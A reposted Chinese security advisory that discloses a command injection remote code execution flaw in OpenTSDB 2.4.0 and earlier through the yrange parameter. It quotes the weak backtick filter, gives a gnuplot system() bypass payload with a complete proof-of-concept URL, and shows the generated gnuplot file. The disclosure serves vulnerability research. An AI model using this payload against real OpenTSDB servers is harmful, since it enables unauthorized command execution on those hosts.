OpenTSDB 2.4.0远程代码执行

admin 2022年4月19日23:16:29评论107 views字数 1425阅读4分45秒阅读模式

OpenTSDB 2.4.0远程代码执行


        在Pentest期间,我们在yrange参数中使用命令注入在OpenTSDB 2.4.0及更低版本中发现了一个远程执行代码漏洞(其他参数可能也容易受到攻击)

        当通过它被写入到其中的一个参数传递有效载荷的gnuplot在文件/ TMP目录和gnuplot的文件由执行OpenTSDB经由/src/mygnuplot.sh壳脚本。

        试图通过阻止反引号来阻止命令注入,但是我们能够绕开它:

/src/tsd/GraphHandler.java:


private static String popParam(final Map<String, List<String>> querystring,                                         final String param) {        final List<String> params = querystring.remove(param);        if (params == null) {          return null;        }        final String given = params.get(params.size() - 1);        // TODO - far from perfect, should help a little.        if *(given.contains("`") || given.contains("%60") ||             given.contains("&#96;")) *{          throw new BadRequestException("Parameter " + param + " contained a "              + "back-tick. That's a no-no.");        }        return given;      }


绕过有效负载:

[33:system('touch/tmp/poc.txt')]


PoC:

http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json


OpenTSDB 2.4.0远程代码执行



OpenTSDB在temp目录中创建的gnuplot文件如下所示:


set term png small size 1516,644set xdata timeset timefmt "%s"if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate rightset output "/tmp/d705ba5b.png"set xrange ["972086400":"1603641404"]set format x "%Y/%m/%d"set gridset style data linespointset key right boxset ylabel ""*set yrange [33:system('touch /tmp/poc.txt')]*plot "/tmp/d705ba5b_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}"

当OpenTSDB执行mygnuplot.shpoc.txt文件将被写入到临时目录。

此漏洞已由Aviad GolanShai rod发现


本文始发于微信公众号(Khan安全攻防实验室):OpenTSDB 2.4.0远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日23:16:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OpenTSDB 2.4.0远程代码执行http://cn-sec.com/archives/534916.html

发表评论

匿名网友 填写信息